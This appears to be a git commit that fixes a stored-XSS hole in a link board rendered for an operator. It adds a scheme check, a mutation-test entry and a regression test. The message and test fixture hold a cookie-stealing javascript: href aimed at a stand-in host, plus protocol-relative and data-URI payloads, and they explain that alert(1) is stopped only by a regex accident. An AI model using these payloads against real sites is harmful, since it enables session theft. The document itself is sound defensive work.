fix(links): the board rendered agent-written javascript: hrefs

A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so

    javascript:document.location='http://evil.test/'+document.cookie

was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.

links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.

THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.

Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.

Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
This commit is contained in:
vh
2026-09-23 10:34:22 -07:00
parent f43a41fb49
commit 447a9b67e9
6 changed files with 138 additions and 2 deletions
+9
View File
@@ -194,3 +194,12 @@ old = '''
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1);'''
new = '''
case 'ArrowRight': focus(at + 1);'''
[[mutation]]
label = "the link board drops its href scheme guard"
file = "booth/links.py"
test = "tests/test_booth.py::test_the_link_board_refuses_to_render_a_script_href"
old = '''
return parts.scheme.lower() in ("http", "https")'''
new = '''
return True'''
+32
View File
@@ -1593,3 +1593,35 @@ def test_the_dur_filter_survives_the_custom_environment(tmp_path):
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
assert app.state.templates.env.filters["dur"](3600) == "1h"
def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
"""A LIVE INJECTION VECTOR, found by design-dev on the way past R2.
17 agent handles append to the standing board and the operator clicks its
rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
about whether an href is safe to render, and nothing guarded the render.
⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
rejected — by the markdown link regex, because the parens break `](...)`.
That is an accident, not a guard, and a paren-free payload sails through.
The row still RENDERS, because the operator should see that something was
posted and refused; it just must not be a link."""
b = tmp_path / "links"
b.mkdir()
b.joinpath("links.md").write_text(
"- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
" <sub>· rogue · 2026-09-23 10:00</sub>\n"
"- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
"- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
)
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
html = c.get("/b/links/").text
assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
for bad in ("javascript:", "//evil.test/x", "data:text/html"):
assert f'href="{bad}' not in html, f"{bad} rendered as an href"
# refused, not hidden: the operator sees that it was posted
assert "evil.test" in html, "the refused row vanished instead of being shown inert"